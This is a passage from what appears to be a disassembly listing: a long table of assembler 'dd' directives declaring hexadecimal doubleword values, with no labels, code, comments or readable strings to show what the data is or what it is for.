		dd 72C18EE0h, 557D712Dh, 362FD68Dh, 392FFA0Ch, 69557106h
		dd 4F506DDBh, 0B2F30186h, 0F29B2C3Eh, 1DA7421Eh, 5D5DE2F7h
		dd 1D915B35h, 72076280h, 0A3006923h, 8F5385Ch, 55A1B531h
		dd 0DA02DE2Eh, 0ED99FD8Bh, 5FF426DFh, 2C1783ECh, 8471B853h
		dd 504B1F8Dh, 0D83AB375h, 2781947h, 0BB3D3AE3h,	4409AD59h
		dd 153EAC9h, 4069EE1Dh,	3F96585Ah, 227BC7B1h, 6F7765AAh
		dd 9836611Dh, 3F77F865h, 24A44B0Dh, 4E5B43Ch, 0EBC76800h
		dd 92551A25h, 3EE5F5F9h, 0CA525102h, 2A65E0Eh, 5505E838h
		dd 28DCB954h, 25EB303Ch, 0E2D12805h, 8614005Ch,	6430B0BAh
		dd 0E2B78750h, 8939842h, 9DC0058h, 68BA8E89h, 0DE3BFAE4h
		dd 9D500E26h, 0B3BB602Eh, 9A271EAFh, 0DC43947Bh, 15C013Ah
		dd 0B638D0Dh, 0A961A1F3h, 84B35D2Ah, 0BD112D95h, 16AFD3FDh
		dd 0BA89BB52h, 42BD2D2Eh, 4BD4BD38h, 5A3E7EADh,	0EC68E4FFh
		dd 2821890Ch, 323D8F07h, 4EBE9CF3h, 7756AFAh, 0BC02A23Eh
		dd 0A78BD8F1h, 7D02B623h, 3E81FA89h, 8955C55Dh,	0BD7D046Ah
		dd 76CE0E9Fh, 96A49Fh, 5F45E8C9h, 661464BFh, 0B1D75561h
		dd 7A7A0433h, 28EA387Dh, 0E5B7F5CCh, 1FBB80E5h,	0BF7B32B3h
		dd 720FD4FFh, 598A7397h, 0A0181Dh, 0E98665F7h, 1F0F09BAh
		dd 16E46F48h, 7B911DC9h, 9C7B01D9h, 9597F9D9h, 63F40A3h
		dd 1D2DEF3Dh, 4E77CF5h,	0BC50CA98h, 0C06B80A3h,	386116B1h
		dd 3B048F8Dh, 0AFD7A00Dh, 2CE54F8Dh, 9681A42Eh,	0D1CE1195h
		dd 28E68C3Eh, 89245BB7h, 0B8F53199h, 21852980h,	0BB400DF1h
		dd 4B848757h, 234ECC69h, 5BA5BD4Eh, 0C809DA2Bh,	0B828C01Dh
		dd 4302C463h, 67F9F7E4h, 21F0418Dh, 0AF98AA14h,	1BF71281h
		dd 6855F1BAh, 5A078045h, 67415Ch, 19750285h, 0E5D98BEh
		dd 0E2F0D025h, 6A766067h, 28AB25A4h, 7BA5AC7Bh,	0EC15500Ah
		dd 3BAA7201h, 0BB1A852Fh, 6A45AF42h, 0D6FB5556h, 51261551h
		dd 0F048F218h, 0BF4E47EBh, 4A95C7F1h, 8DC4E9F5h, 0E7FD95A1h
		dd 0D69A5E1Bh, 0AA48EC80h, 3E022379h, 0F5BADCBFh, 8B29C042h
		dd 40D86911h, 1A7B9A8Bh, 5AD07572h, 58A24B5Fh, 0FBCB403Ch
		dd 20F47F20h, 895C0162h, 8F1C905Bh, 0EBE82AB9h,	0ED703C1h
		dd 0C46E3B35h, 1F001923h, 0D5EFE5DFh, 0C7B6A079h, 45404C55h
		dd 2E89352Dh, 0FBA75B73h, 2E7F514Bh, 0F5645622h, 5FB03EEEh
		dd 0DC2FD527h, 7F5D7104h, 2E01047Bh, 0F96046EAh, 88A93B89h
		dd 0B8506113h, 5F368036h, 0BB4A164h, 0FC8AC370h, 88ACD0F4h
		dd 37F52ADEh, 5ED9AAA0h, 1446D620h, 5B92A528h, 0B9CD1221h
		dd 8C17ACFFh, 9DBB5ABDh, 9DC2DCDCh, 0DF80010Eh,	95C4875h
		dd 14C855Eh, 0B72D8C89h, 0DE693A59h, 0E82DD485h, 3CB277DEh
		dd 4C017784h, 4B959AFCh, 2D96CE2Ah, 0A87BBB49h,	0B36434Eh
		dd 972DE6Eh, 75FD0975h,	7E3386B9h, 0C62FA1A2h, 514ADE4Fh
		dd 3512C200h, 5F01BC0h,	0EEBB6672h, 17BEF8Ah, 0F4011C23h
		dd 0A5CAF31Eh, 1226E3FCh, 0BC59E955h, 99884EE1h, 2E9012FDh
		dd 0D7D0BB38h, 775BB4B7h, 78DC938Bh, 0F94A8BDBh, 0DA4FE4F7h
		dd 9E50817Eh, 26F8D205h, 55AFB060h, 0BFCCE231h,	0D5615BF2h
		dd 0AED7C4D1h, 0AB845DDEh, 90C4EA31h, 0B9BE571Bh, 972714E7h
		dd 209670A0h, 57A0F44Ah, 0C5939706h, 6490B22Fh,	4E89Ah
		dd 23B6713Bh, 4ED442CDh, 0D37AC00Ch, 30FEE3B5h,	0F80A5690h
		dd 3EE16A5Bh, 0FB93679Bh, 264AA086h, 0F4906ADFh, 0D67A1513h
		dd 23495705h, 4591DDBAh, 0D245B2B0h, 0E6D2EBECh, 6637B4F5h
		dd 58C7CBB0h, 48BF0566h, 9BD1FF5Eh, 0E4ADC066h,	0B82847A9h
		dd 5C957178h, 0D7829A27h, 0FE5E705Eh, 327E6D51h, 0C65E2DB4h
		dd 0D4F75E6Bh, 0CC92FC97h, 6E12CB7Ah, 35EB509Ah, 0C176348Dh
		dd 60CA14Ch, 52715984h,	0C8809A4Bh, 0A042C017h,	0E938AF32h
		dd 82CBCB0Fh, 25E72610h, 0AF52F160h, 5FE93356h,	36614D61h
		dd 54BAF091h, 69A800D4h, 0B4115C8Ah, 0D4905651h, 4A2F8920h
		dd 408FF65Bh, 1440798Ah, 404CBE90h, 0E7864B71h,	5BD5A101h
		dd 0FB66681Ch, 0E466C13Eh, 73AD2B16h, 220099B8h, 0FF3692F4h
		dd 4B8A3FA6h, 9FC2C4D9h, 2180C9DCh, 7137D2B0h, 0B452EAD5h
		dd 53C45E31h, 0FCD2C412h, 0C94AB6F3h, 57A86E9Dh, 0B26D9417h
		dd 396C0E9Bh, 0DC2C4034h, 7E083BDDh, 1DF80238h,	485BA135h
		dd 435B8A57h, 0A93C8389h, 51ED823Dh, 34EFFF1Fh,	0A2D11940h
		dd 0B0AE00CBh, 0A6F38184h, 564B6B9Dh, 5E0E59C2h, 84051BEh
		dd 7D599Dh, 91C2914Bh, 929004FDh, 0B0F871E4h, 0D2DE4B0Eh
		dd 182D21A1h, 558FF47Bh, 3580647h, 9435CEC0h, 2A2C15F0h
		dd 89058255h, 0CAD49185h, 0E86CA1AEh, 22B7758Dh, 0A4059D15h
		dd 86BD618Bh, 6A1D457Bh, 1C584B88h, 0FBE770h, 0F87BC5F7h
		dd 9100AB57h, 2B50985Bh, 12EB81FAh, 0EB7AF2E4h,	0FC81D02h
		dd 49A66688h, 0E584B183h, 4F31AF04h, 0BB00310Dh, 9564DA46h
		dd 8B40A1D8h, 1D9D09DEh, 85351462h, 0F7F8404h, 0D75A7840h
		dd 0FD0E432Bh, 60A03BF5h, 98BF7080h, 0DC02BFA4h, 0BA5EF94Ah
		dd 0D7F39B3Eh, 8951830Ch, 2815B50h, 0FDB50DBFh,	0B6492F66h
		dd 0E0D05C29h, 0F619BDEEh, 0E73B2200h, 6272341Ch, 20682D86h
		dd 80144D1h, 0D20A6C77h, 31B0302Fh, 0C4235B5h, 91161194h
		dd 88EEE905h, 32F9A520h, 4CB4CCA5h, 9529AB8Ah, 0DD0C3188h
		dd 7FCA2B30h, 0F714CB40h, 0B0F09B66h, 0B7011806h, 0B529519Dh
		dd 0AD6B1065h, 44204EC1h, 4021BBAh, 0F5B5073Bh,	0C3D3BC83h
		dd 0AE4BB9F8h, 25BD16D3h, 96C9E930h, 4228D86Bh,	0C9D301EDh
		dd 0F953FCCFh, 25FC2E5Bh, 80697DFDh, 689EBD65h,	2463E8A8h
		dd 1A9AF7BBh, 0C607C755h, 0A6745BE5h, 5156DB69h, 0D94889A4h
		dd 0EB947B2Eh, 955034D3h, 0BF730077h, 131D1EBCh, 0B537BD23h
		dd 3562BF08h, 0C2A05E2Ah, 9AD5820Fh, 738062D0h,	7C66ADC3h
		dd 0B709AE90h, 5D36DAA1h, 0AF27A584h, 6A2E9B2Dh, 480F0B91h
		dd 4B175877h, 0D3C7CE06h, 80A898E9h, 0F1B5010Bh, 923D381Ah
		dd 5677D31h, 9D2997D5h,	4BE2F9F1h, 4F27B58Ah, 6789F7BDh
		dd 0F95719DFh, 0BB72302Fh, 20098BEBh, 53E1FF70h, 0CEBD70FCh
		dd 0E5E7BE25h, 1F68113Ch, 0ADC0F1BFh, 1D852965h, 419C970Ch
		dd 203F6B45h, 0D7450D6Dh, 49183C00h, 1CAEBF96h,	0E284004Dh
		dd 8D3DAC67h, 94975E93h, 0ED6AEB4Ch, 0DEE80Ah, 0A57FA2FDh
		dd 92E231A7h, 38174448h, 703041E9h, 16512595h, 0A7141FF5h
		dd 0DC535CB0h, 1D503A16h
		dd 0AED65FBCh, 0F1BC3F16h, 426EABD2h, 0EAAC9916h, 1EDFCE02h
		dd 0FF44FDF9h, 4F01A738h, 0B4BC45E9h, 2529575Dh, 64EECD5Fh
		dd 0D8A56016h, 9532B002h, 8EBBCB98h, 2BBEBA18h,	4BF906Bh
		dd 382CC713h, 5F8DBB50h, 0AD90BE64h, 8205633Fh,	4959C29Ch
		dd 0B54658D5h, 27E0D24Dh, 0B757DF5h, 0F925FBEAh, 0FCC455h
		dd 6FC39665h, 0D513C852h, 0EF2F4509h, 76C5D7FFh, 0B82EBA00h
		dd 1266246Fh, 0FF618DBFh, 0B72B32CDh, 8BD00168h, 635F0B1Fh
		dd 0D16DF93Ah, 8C09001Ch, 0E5879DEBh, 0E4C218C7h, 6BB168D4h
		dd 76258991h, 0F3F30ADh, 0DE5F8A31h, 0B92F3BA1h, 9867B816h
		dd 2D0920DFh, 0E23CB725h, 703DDF36h, 4F974D81h,	0B0F115F5h
		dd 963FFDF8h, 20E908B7h, 95AA8917h, 12FCF818h, 3AF3CA4Ah
		dd 0E9FE8A04h, 8A9EBB86h, 9529FCC1h, 3A5DC265h,	0DEA1042Fh
		dd 9DD398FBh, 1CE254Bh,	0A0D6A65Fh, 5F9860h, 0C9BD1E56h
		dd 0BFD78A12h, 535CA409h, 0C407742Fh, 96444007h, 3997E74Ch
		dd 0A6613C89h, 6EA1EFBFh, 9CB421E6h, 0F800EB9Ah, 7175EAA7h
		dd 179DCA8h, 19EF815Dh,	2F72D288h, 75040313h, 0C0172DC5h
		dd 50FAB050h, 80DC78EDh, 29BBED7Eh, 0DCF2D3h, 4D6C90CBh
		dd 7DAB23D4h, 0E89F1B00h, 0E001C781h, 5F3C2575h, 0B382FFC6h
		dd 68FD205Fh, 5E7A4FB9h, 0B4B237Dh, 0FFA280EFh,	5B4BCB72h
		dd 4C46D580h, 0FC3BF965h, 26F74F18h, 94975E0h, 6A9CFC02h
		dd 0D53223CDh, 0B314E8C6h, 77E9E0h, 2BE260A3h, 5FF62Ch
		dd 0BB3A4924h, 0B757A4CCh, 5B302D16h, 78DA7282h, 0FDE2CB6Dh
		dd 0ED5DC542h, 6115643Eh, 9620A3C1h, 0B053D225h, 47B7F9B3h
		dd 0D443AE5Dh, 8D01B909h, 0B70258A1h, 46497653h, 0F78100DFh
		dd 7C5DD6D2h, 0BDB544E9h, 0A87DA71Bh, 0F918A377h, 973179EEh
		dd 54F2F11Dh, 0F4B5D47Fh, 0B3E6E542h, 0A1245037h, 1849325Eh
		dd 42F671F8h, 0E50A0553h, 1C912702h, 69E19623h,	0C0022740h
		dd 0CFFB1EC5h, 4C181A79h, 2BCAB100h, 0BF58DE94h, 19B3125Dh
		dd 58D1E36Eh, 72D52DC4h, 61B525F6h, 47D8A6DBh, 9EA9EFAh
		dd 4998FBD5h, 7B00C45Bh, 3A1CED59h, 96590h, 9D24F3A0h
		dd 576C929Ah, 544F190h,	83CD04BBh, 0B95B62A7h, 83E9D3EAh
		dd 0A40B36A8h, 0FF1D5DE1h, 21FD1B09h, 0CCF38059h, 9FFBB445h
		dd 1702933Ah, 7711B9BDh, 54498D51h, 6001D4A6h, 58225509h
		dd 5C8A7896h, 0F4D12A8Dh, 9F091646h, 675E4769h,	0F46DF5E9h
		dd 0B11E0240h, 0C7BD0BE4h, 0D85BEAAh, 1E4914Dh,	36F52E95h
		dd 0B43AA67Eh, 7F57B072h, 0BF03D359h, 0F7F923AFh, 0C6B5552Bh
		dd 4C36ECA5h, 3F07D3C4h, 52FAC9D5h, 20F46B26h, 85E87916h
		dd 0EE220516h, 0F6B60864h, 0BC0F90A0h, 0F9758497h, 91FB3BEh
		dd 782F9DBBh, 526F9F4Ah, 95207D61h, 0F5F5BF24h,	97F94930h
		dd 3253A050h, 0BFCD5EF5h, 5B440CB8h, 0EF33CC2h,	8A735FCEh
		dd 0AE853D13h, 23E46BAEh, 2FCC0616h, 0DF5C6A8Ch, 0D8A6602Eh
		dd 1265BB50h, 584C449Dh, 0E7976CEh, 9468599h, 877ABD18h
		dd 0CF000B97h, 0C2ED4045h, 99F6A82h, 44F259E4h,	18233FA2h
		dd 4D745401h, 0DCC696CCh, 3D3740CEh, 0A9FEC516h, 8E25716h
		dd 212E9CBAh, 8B407C96h, 0A30D64h, 0AB588DA0h, 0B4BA450h
		dd 8A135F75h, 0D66F96FCh, 0EB5E9913h, 26AA88h, 411B4F3Dh
		dd 56D4EAA4h, 257EB500h, 0E952B6CEh, 52AB853h, 7DD9D2DCh
		dd 938CEE5Eh, 406B004Fh, 77446EFh, 409A0A4h, 0D74BB565h
		dd 5357336Ah, 3539F856h, 3DE5A500h, 4E16544Ch, 0E09097B2h
		dd 1B01CDD2h, 0E1A0E7CFh, 0A93BC3C1h, 0CA76A9B3h, 9C4F680Eh
		dd 71B9A040h, 2C4FAB24h, 0EB4E4AF8h, 0CF087C52h, 0BB61130Ah
		dd 5AB0D34h, 0BB37F03Ah, 3080AE2Ah, 0C9DCEDAh, 2F8C8D0Bh
		dd 65AE18CCh, 0F7599FE4h, 0DDCB4707h, 0C1F97900h, 0B705772Bh
		dd 46401856h, 939B3Bh, 1250E9ACh, 0B60C2ABh, 0B54B3E04h
		dd 63FC46D1h, 81C40980h, 3B27FBA0h, 2DD07C5Bh, 0CE362290h
		dd 10E14102h, 7767C673h, 0B852065Bh, 12C0D998h,	8C20E5Fh
		dd 0B38F02BEh, 118C0ECFh, 38B58A4Bh, 0A8DE4F6Bh, 0BCE2E185h
		dd 0CBF88180h, 61CAFE6Ch, 5CF823A9h, 1BCE209h, 9BB94A35h
		dd 2F25A749h, 0F400D934h, 3B071D1Bh, 0F67AE1C6h, 0C0A7F295h
		dd 9805FD07h, 1E5D257Fh, 5DDAD8DEh, 2001A335h, 4D9DA96Ah
		dd 0A472852Ah, 0D54BBD1Dh, 31E92E04h, 9B5EDFBCh, 3EAC80DEh
		dd 5B27D7E6h, 794E8860h, 0E92CF495h, 2549447Fh,	0E4DA9589h
		dd 0BD336117h, 258B0EB4h, 0F4EEF8C1h, 0BBF3597h, 0D48B80F5h
		dd 6AF0367Ah, 0F4E666E1h, 850C85FFh, 38D2AF0Dh,	0FC6D7F6Ah
		dd 0AE54A4E1h, 26E33974h, 8284B02h, 0F8301FF9h,	0BB14F8A6h
		dd 7FC2D0F7h, 1A13855Eh, 10BCE584h, 71A6E4Fh, 4926FFB6h
		dd 0DEAF17E0h, 0C4A24FC1h, 0FBB0B07Eh, 0B2985D8Ah, 0DEB7B509h
		dd 7A6A124Eh, 5282048Dh, 0A3BA6A5Bh, 89BB3A30h,	0F733AB63h
		dd 52435095h, 54A691B5h, 37006B63h, 36307222h, 0D300064Dh
		dd 0F75E8B01h, 74969EC3h, 0FC8F5E76h, 0FA60CD3Dh, 8B22AC2h
		dd 61143001h, 49DD4B8Fh, 2A88679h, 626DF0BEh, 0FF61D13Eh
		dd 0BCEF39D1h, 1CF401D4h, 0DD9509B3h, 5B987A04h, 89DC00D8h
		dd 936441DBh, 400050C7h, 7A94679Ah, 1360143Fh, 0A236CC6Dh
		dd 0BB968861h, 59F1892Dh, 51086E24h, 0EBE072Dh,	611D0045h
		dd 0B7B7026Ah, 0F8770287h, 7A431B93h, 80F2D4C0h, 90B0F31Fh
		dd 5F505BC9h, 0DE31329Ah, 5B0ED4E6h, 38289F00h,	8ADFFEB1h
		dd 77419772h, 95AC9CD9h, 89121350h, 0E9C2FE85h,	80855161h
		dd 0E8EE74BFh, 80280F2Dh, 43F3751Bh, 0DAE0BF7Bh, 9C00DBBEh
		dd 4062DC1Bh, 1AEBA7Ch,	0F3E6815Fh, 707073F8h, 679769AAh
		dd 13B0130Ch, 0BC43B905h, 18104899h, 0D20EAD13h, 6E74DF58h
		dd 4BAABDC5h, 9DFC50E8h, 0C141BF63h, 0A97B4DD4h, 3F8FE8F3h
		dd 5581103Ch, 819D2BFFh, 0D08A6E15h, 736C6025h,	1E758D10h
		dd 659D3104h, 0D6610928h, 14A5088Fh, 0BD2B5305h, 59169FB9h
		dd 0B8D6E961h, 0D2058C19h, 0B79314D0h, 0EB8ACDFBh, 0B273EAFCh
		dd 0E6AEBC34h, 89F9A532h, 0E5C0AF92h, 0C46D9529h, 0B2FF6AEBh
		dd 0E3F2001Eh, 185F7AB4h, 7FA32D12h, 330B0D7h, 0B6A8B02Fh
		dd 0EE02ADE3h, 57521B25h, 828BDD4Eh, 54B52A22h,	0DCBC088h
		dd 0B051F844h, 0AD40C6A1h, 62975FADh, 100CDE4Dh, 0B7DD4027h
		dd 0D8F5C725h, 0BB530745h, 843BED59h, 2C97E95Bh, 5E6BFAF6h
		dd 17DEADB1h, 0E078F547h, 2151B501h, 0D88B63C6h, 9B819760h
		dd 0C11499Dh, 0C6BF2D66h, 1508457Ch, 0C87A2D0Ah, 0D403DF2h
		dd 52C81E2Bh, 0E0795223h, 0A9D5B2Ah, 30108F70h,	0FDAFE925h
		dd 0F683FEABh, 5F8A4C44h, 52119077h, 0B6F21683h, 80DBEC2Eh
		dd 0C1CAA718h, 54870096h, 9D84F6E3h, 6DF2B73Ah,	2725E69Fh
		dd 72425F5Bh, 7EA0EF18h, 0D5E76A03h, 907D3501h,	16DA781h
		dd 344C1DF9h, 3BBEC122h, 45A62B8Dh, 899D04B3h, 7DF80905h
		dd 81023CECh, 184853C7h, 15B13805h, 2572169Dh, 96F70F99h
		dd 0D788823Ch, 4995F1B9h, 14347A8Fh, 4E846CBDh,	8060016Fh
		dd 2E20D7C7h, 0CFB317C2h, 7A07B61h, 3EFD426Ch, 0A5D6CFF0h
		dd 0B7494B38h, 0ACB34D39h, 95C8C4BAh, 7EB9051Fh, 0BD31F041h
		dd 643A09C9h, 0AB6AAE87h, 0AE8A0212h, 1FCE4D0h,	9C94B8Dh
		dd 8CD3F526h, 3E191D51h, 57C2D9E8h, 0D3E8F335h,	0DE9DD22Bh
		dd 59A9257Bh, 0A9000D64h
		dd 0EABE5BBFh, 0CAFDF6h, 3DDDD60Fh, 0E3C92CB4h,	0F3042EB4h
		dd 0E3AECCD7h, 0F781C07Ch, 4F680A02h, 814EDB5Dh, 0B5D41F8Eh
		dd 25142FF4h, 1477BF90h, 0A9BB005Ch, 3ADEA6ECh,	6800DB6Ah
		dd 4A64323Fh, 243D5552h, 2D95F0FCh, 5D30897Fh, 0B5976266h
		dd 97199181h, 0BC254BCh, 0B868ADBDh, 9209E781h,	5D238C15h
		dd 0BD6169C5h, 0BC050625h, 97D51373h, 0AAE024A6h, 0C24E5946h
		dd 5C25808Ah, 0D26F404Fh, 76FF2009h, 1646D427h,	0C9CD080Ah
		dd 21790997h, 9E11776h,	927E69B5h, 8D82E1C3h, 0E7DD1BADh
		dd 0B4D62DBAh, 0DE81DE27h, 0D182384Bh, 51A274D9h, 51B61476h
		dd 0CA58AF5Bh, 0ED301198h, 9C082F1Dh, 60F88921h, 2DC3256h
		dd 0F6139330h, 50E2F774h, 7DEA89F5h, 7DABF963h,	37D7E19Ah
		dd 1EF980CFh, 0FE86E03Eh, 0DEB3C613h, 0B1E269A4h, 4D384FBh
		dd 0C36AB8EEh, 85A59D23h, 899CABBh, 2F2AD5B5h, 0F998907Dh
		dd 8FBC027Bh, 346C0959h, 60580057h, 0BB9E1B2h, 561BE54Eh
		dd 0BE310A87h, 7DB05AA3h, 905840C7h, 0DD5B8501h, 0DBFA7A95h
		dd 9687C0AFh, 0A7FF3Dh,	0FE33C1BBh, 9D8D891Bh, 0D8A30A5Bh
		dd 47BB6682h, 3A34435Dh, 0FBA65353h, 5C4C381Fh,	6488BB80h
		dd 585851BAh, 0E3B85AEAh, 4CDB5E0h, 302ED989h, 0F81BB34h
		dd 897EF80Bh, 0FC39FE85h, 0E9EE5007h, 0C10C027Ch, 72709777h
		dd 0A22C6557h, 60027FB9h, 16DD08D5h, 0D4C29CD1h, 2DABAA59h
		dd 257DE410h, 0E5E5C9A6h, 0FCC55D52h, 0AA378996h, 215F6391h
		dd 0ECB557C2h, 65801C91h, 4D5ACE41h, 89F1E995h,	0F0FCF66Bh
		dd 27EDFE4Fh, 0EBF4B529h, 3235F5A7h, 0E764C25h,	901FEAF1h
		dd 0B04BFB22h, 785A097Dh, 0B26D971Eh, 1C03E3C0h, 9600970h
		dd 9A40A9BDh, 117C8D31h, 295BAEBFh, 0F4950B52h,	8DC42D81h
		dd 54304000h, 4E82FE2Ah, 0A5F10B66h, 92F75B79h,	7B84F570h
		dd 432DBA2Ah, 95B0CC36h, 89002C74h, 0AD68668Bh,	0BFEDAA86h
		dd 0BBC07B51h, 69F38B2Dh, 4B5E123Dh, 7049AA40h,	0F643008Eh
		dd 0CCB17624h, 0DE2562DAh, 0B1FF061h, 12747D52h, 507892DBh
		dd 84D94E56h, 88E7BE94h, 0FDCC82A0h, 3091A1A0h,	0BC609080h
		dd 17DF40E1h, 0F625B1A0h, 0FF9A5D0Ah, 61CB7F60h, 0DFB0DEABh
		dd 37BF905Fh, 0EEDD0244h, 0BAD6A829h, 0ACA22113h, 0A0CDA6D2h
		dd 1E49AD7h, 7C1913ECh,	9E3F1BDDh, 96203162h, 0DE5E3F73h
		dd 30C5C001h, 9AFA723h,	0CE29CCAEh, 6065DBD1h, 86802BBCh
		dd 0D7710A05h, 41478800h, 4B1D9ED8h, 0F94002C2h, 0CFE7805Ah
		dd 9123C557h, 0E9935014h, 20AC284Ah, 5F47DC5h, 5C8BFD0h
		dd 0FB83B7CAh, 5CF923DAh, 0C505CA81h, 8D09C690h, 0EE0106B5h
		dd 0AC730DB5h, 947A8585h, 0E0ADE6D6h, 524FA22Dh, 4ECDCBD6h
		dd 27B43E59h, 9E6D4EB5h, 7FF5C481h, 0A5392h, 118CAEBFh
		dd 8CA6494Bh, 0D73219B2h, 6E654920h, 0A9B0EB80h, 7D61B525h
		dd 1101F9BDh, 66A7DEDDh, 0BD3C753Ch, 49DB1E2Dh,	16BD66AFh
		dd 0D2999D29h, 98F55114h, 0B766B35Ah, 3127CC5Ah, 0D26665B5h
		dd 0A78B795Dh, 97D637DEh, 2D6F4430h, 24EA984Fh,	18A666A6h
		dd 0D119252Dh, 0DD5C69FDh, 79A702D4h, 0B07F4706h, 5122737Fh
		dd 2084C319h, 16FB4977h, 0A0A79412h, 0D19F0D07h, 74BD472Ch
		dd 9F5CE80Ch, 7C3F4267h, 1DE0DC72h, 77F98B25h, 0EC2D9035h
		dd 66CF09DBh, 435F4F60h, 7DE9D433h, 7C8C1AACh, 90B40450h
		dd 9226E61Fh, 80011662h, 56AD72D3h, 1413785Ch, 10F9CABBh
		dd 0C14B1FF9h, 2A4CC74Bh, 16C8729Ah, 0C272D4C0h, 50DA278Ah
		dd 37DD30DFh, 0B59290E3h, 0F07BDD53h, 0F606C538h, 67B4268Eh
		dd 95AC555Bh, 0B12DB92Fh, 0E4EB9754h, 165E2D8Dh, 90A00AA7h
		dd 620908B5h, 0D1AF52F4h, 8E424BB6h, 7287DBD7h,	5A04CE5Dh
		dd 4E4AAA89h, 1F96C2F9h, 88CD08ECh, 317E970Fh, 49D6C8h
		dd 963092F6h, 0EEFFAEE0h, 0F279FB09h, 5A5B46A4h, 8E89C860h
		dd 0E67FCD04h, 0C2AF1486h, 95A48DEFh, 80A4A859h, 0A6E69FF9h
		dd 0BE5E0EE0h, 4AA05277h, 25A57566h, 37E36302h,	5D61D3F8h
		dd 18919EB5h, 0DE8DF680h, 0EBA38FD7h, 0BF6647FCh, 0BD2B74B0h
		dd 0A71D4B7Dh, 0DD8650DAh, 0D7B701EFh, 0B7F84448h, 0CE5A1BD3h
		dd 47870EE9h, 0DA006866h, 2C25843Eh, 0C5C590BFh, 7F5B122Eh
		dd 88F1F264h, 0AD78AD35h, 5C8A21E2h, 32F96BC3h,	756D6B01h
		dd 46D0E25Ah, 0C43E011Ah, 0E6EA6BCh, 0D1022F63h, 77799531h
		dd 38015CD3h, 50F6C7C9h, 0B4EEF77Eh, 7155DDCh, 0C9806460h
		dd 44708BFFh, 383C4BDh,	7DCB27A6h, 0C09F26FBh, 1B3EDB50h
		dd 0B1B5BB00h, 0E95F3486h, 0CB8B97F9h, 97DE6A7Eh, 50974CD6h
		dd 0B73FC8EEh, 8260C4C9h, 0FFF13B4Bh, 0C16BB18Eh, 3D86AB37h
		dd 0C507F97h, 5F46D981h, 0A917C00Ah, 6BFA616Fh,	63984A11h
		dd 52CD6021h, 907467C7h, 50EAB717h, 0FF10B3EDh,	13E91107h
		dd 4F050D00h, 8CE125F3h, 966C4300h, 0BD939A44h,	0D35A0BECh
		dd 3A42CB15h, 8370327Bh, 9473173Eh, 0F9780B46h,	3AAD9E76h
		dd 51A84220h, 48B70A87h, 91E0587h, 456FBB15h, 92C7E7Bh
		dd 4F7192B1h, 0ED97ED78h, 1D76C098h, 890406D3h,	838A46DDh
		dd 953E87E2h, 3500DEBEh, 0A28D7261h, 0A12D1B6Fh, 0C92D5EC1h
		dd 60FC12FFh, 0B511F5C1h, 56BF08C6h, 0D5C52586h, 14855A50h
		dd 0B9A4DD87h, 406B110h, 2A699D2Bh, 568E9CEFh, 0FF5B99C2h
		dd 4FEE5ED1h, 0CC6F00F6h, 4610F6Bh, 404E5400h, 5FB6C5A8h
		dd 479325E4h, 0A51A69E5h, 9F8FB73Fh, 6AD3C2A2h,	0C4572902h
		dd 0C8504A7Ah, 33002201h, 0FEF11163h, 9D441Fh, 28E58E7Ah
		dd 9E2399BEh, 0BF7B760Fh, 42208598h, 0FFBDC5BEh, 87C13A9Bh
		dd 3A143895h, 220E9A1h,	8A1621Dh, 82E5535Fh, 5040DB2Dh
		dd 33034521h, 0E9FF958Ch, 0AA1D4E07h, 38C42437h, 2483CEAEh
		dd 75258E28h, 8239D9B7h, 54D275D5h, 0E1215F0Ch,	6E236195h
		dd 0CE419EDDh, 9F3D0BD9h, 0B9BAB807h, 0C2385C04h, 0BB506101h
		dd 3121A46Ch, 0F080E63Bh, 25BD337Dh, 7AE522EDh,	6EFAF516h
		dd 8FD94F46h, 9D63607Eh, 597A9CFh, 74BB0E6Ah, 0ED0F296h
		dd 0F1DB99h, 0D28ED1CDh, 0FDFE25DFh, 6A6590F5h,	0F8564BFFh
		dd 63A680DFh, 956DA91Ah, 0D97C21Ch, 0F06F3D32h,	0A52FB537h
		dd 0F4905C0Eh, 0B24CF312h, 362258F6h, 23A4497h,	0C816B62Ah
		dd 0B1FFAC77h, 6F60A742h, 46B04DBEh, 1085D10h, 9D3170E6h
		dd 0E23B093Dh, 0C3810481h, 59BD5568h, 85C40138h, 0F42A992Dh
		dd 2C465A23h, 6A46BD07h, 0C620885Fh, 5CF6ABh, 9939BBDDh
		dd 3B06E5E4h, 10B5B0B0h, 1D4A15Ch, 0B6F15927h, 2F0D83A3h
		dd 80C46717h, 60CF63B8h, 90D1FA49h, 919D0182h, 2B610110h
		dd 0A13689C8h, 43DB7405h, 111A599Dh, 2399BE9h, 0B2369F0h
		dd 2D1541D7h, 77F18100h, 5EB13917h, 50850500h, 0B747554Ch
		dd 356D1510h, 0A65AF100h, 0B543232Ch, 0ED3BE739h, 98A25B7Dh
		dd 0D0221D10h, 0DB9D3EBEh, 654092B3h, 4CE925F8h, 12533A76h
		dd 0F63335D0h, 9F372247h, 0EA12351Bh, 0BFE82309h, 99EEC8A5h
		dd 37BFF507h, 0E5A0BEB4h, 243F07D5h, 14AFEFDBh,	0BC647695h
		dd 4FCBAE45h, 147ECC0Bh, 802D3757h, 0FD51FC2Ch,	2524624Bh
		dd 6516967Ah, 0BE5684FEh, 0BBC1DC9Bh, 3C0EBDD5h, 0CB81C0D3h
		dd 5BE06C56h, 0C497E964h, 37452135h, 123CF90Fh,	0F4E911A1h
		dd 9F700CA9h, 3273BC00h, 11929170h, 7848BBFCh, 7F0769E7h
		dd 0FBAB5162h, 4C25CF9h
		dd 0B8EA39E3h, 0EDBB8043h, 3404516Bh, 0E1C5D22Bh, 62F77E86h
		dd 0AAE6F5h, 9A821231h,	0F557C021h, 25919460h, 0B25F2F3Bh
		dd 28F0D59Fh, 57590997h, 2D3F16BDh, 0C2C809C1h,	9C4F5FEAh
		dd 76BDE844h, 0E3220CADh, 80659597h, 790CB960h,	94F1F24h
		dd 0E84AD7E2h, 2E7112D9h, 217AEAh, 31A16BFEh, 16B337D4h
		dd 31697B34h, 0E4CBA549h, 0C20045B6h, 0DC0282EAh, 2D53E55Bh
		dd 0F30247D9h, 9E5D1425h, 3F47450Fh, 3331DF35h,	4289DE8Bh
		dd 0B75D2871h, 84189176h, 4A82DF0Dh, 0FF4D909Dh, 250898E1h
		dd 7AE71C61h, 5F042E09h, 9807C23Dh, 0F92B0F88h,	0DAD02B2h
		dd 825E0AABh, 0ED6A1451h, 950BE8B5h, 0BD38934Ch, 98CE4BB9h
		dd 0BF5CA934h, 0B9C06E9Bh, 3ED73758h, 0B3217F04h, 14C069FEh
		dd 0B982874h, 60F98A24h, 70707773h, 0FBE200D0h,	0A20D7DFDh
